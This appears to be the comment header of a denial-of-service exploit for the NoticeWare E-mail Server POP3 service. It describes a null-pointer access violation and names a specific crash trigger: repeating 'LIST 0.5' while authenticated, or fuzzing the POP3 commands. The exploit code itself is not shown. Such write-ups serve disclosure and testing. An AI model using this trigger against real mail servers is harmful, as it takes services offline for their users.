# Description:  NoticeWare E-mail Server has many odd querks about it           #
# This DoS leverages the fact that the POP3 server can only handle              #
# so many exceptions before you get an access violation at 0x00000008           #
# which is given from an EDX+8 where EDX is 0x00000000.                         #
# I've tried many things to get code execution and non are prevalent.           #
# If you fuzz almost any of the commands for the POP3 server you will get it to #
# crash.  Also, if you are authenticated and do "LIST 0.5" (numerous times) you #
# will get the same access violation you do with this DoS.                      #
#                                                                               #
